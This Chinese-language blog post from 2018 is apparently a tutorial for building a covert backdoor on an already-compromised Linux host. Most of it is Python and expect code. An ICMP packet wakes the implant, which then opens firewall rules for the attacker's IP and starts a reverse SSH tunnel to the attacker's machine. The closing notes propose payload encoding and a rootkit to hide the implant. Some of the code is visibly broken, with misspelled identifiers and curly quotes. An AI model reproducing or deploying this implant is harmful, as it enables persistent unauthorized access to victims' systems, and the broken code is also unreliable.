用 Python 編寫一個簡單的 CS 架構後門
阿新 • • 發佈:2018-12-09
0x00:事先說明
-
你已經攻陷了對方主機且獲得了最高許可權。
-
對方的本地防火牆會丟棄所有的外來資料包。
-
這個後門不會僅繫結在某一個埠上。
-
這段程式碼很容易寫,畢竟是 Python(準確說是 Python 2.x)。
0x01:工作原理
如你所見,客戶端將偽造具有 ICMP 負載的特定資料包,另一方面在服務端,也就是我們的被攻擊主機,將會接受我們傳送的資料包,即使它開啟了本地的防火牆(丟棄所有外來資料包)。關鍵在於無線網絡卡的監聽模式,它無需和 AP 建立連線卻可以和接受所有流經空氣的資料包。
我們會用到一個有用的第三方包 Scapy。這是它的 官方文件。如果你是第一次使用,不妨參考這篇部落格,也許會有幫助。
0x02:客戶端程式碼
''' 客戶端程式碼。將服務端的 IP 地址、客戶端的 IP 地址、客戶端的連線埠,以及連線所需密碼作為程式輸入。如果成功返回一個互動式後門,在程式碼硬編碼好的位置寫入日誌檔案資訊。 ''' #! /usr/bin/env python import logging import socket from scapy.all import * import os import os.path import sys import time logging.getLongger("scapy.runtime").setLevel(loggin.ERROR) file_result = "/tmp/done" if len(sys.argv) != 5: print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ” sys.exit(1) server = sys.argv[1] if os.path.isfile(file_result): os.remove(file_result) load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4] pingr = IP(dst = server) / ICMP() / load send(pingr, verbose = 0) # send() 函式工作在協議棧的第三層(網路層)
0x04:服務端程式碼
服務端程式碼分為兩塊:1. 主要指令碼部分、2. ssh 隧道部分。
''' 服務端程式碼之主要指令碼部分。這個指令碼會監聽 ICMP 資料包並從句法上分析其攜帶的資料部分(客戶端 IP 地址、客戶端連線埠、連線所需密碼)。接著在本地開啟兩個新的防火牆規則。最後呼叫另一個 expect 指令碼,以建立和客戶端之間穩定的 ssh 連線。 ''' #! /usr/bin/env python import logging import socket from scapy.all import * import re import subprocess # py2.4 新增模組,允許使用者編寫程式碼生成新程序,連線到它們的 input/output/error 管道,並獲取它們的返回/狀態碼。 logging.getLogger("scapy.runtime").setLevel(logging.ERROR) def icmp_monitor_callback(pkt): reg = re.compile("(.*)\|(.*)\|(.*)") g = reg.match(pkt.load) if g: subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT']) subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT']) p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)]) return sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函式會嗅探來自空氣中的資料包,prn 引數用來指定回撥函式,每當符合 filter 的報文被探測到時,就會執行回撥函式。有關該函式的詳細資訊,可以參考這篇部落格:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服務端程式碼之 ssh 隧道部分,實際上是一個簡單的 expect 指令碼。接受嗅探到的客戶端 IP 地址、客戶端埠,以及用於連線的密碼作為輸入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact
0x05:文末思考
上面完成的後門程式碼待完善的地方。
-
ICMP payload 應該被編碼。
-
新增其他的協議用來喚醒該後門(如 http、特定的 syn 包、dns 等)。
-
寫一個 rootkit,隱藏該後門,猥瑣欲為。此乃後話。
有關 rootkit 的延伸閱讀。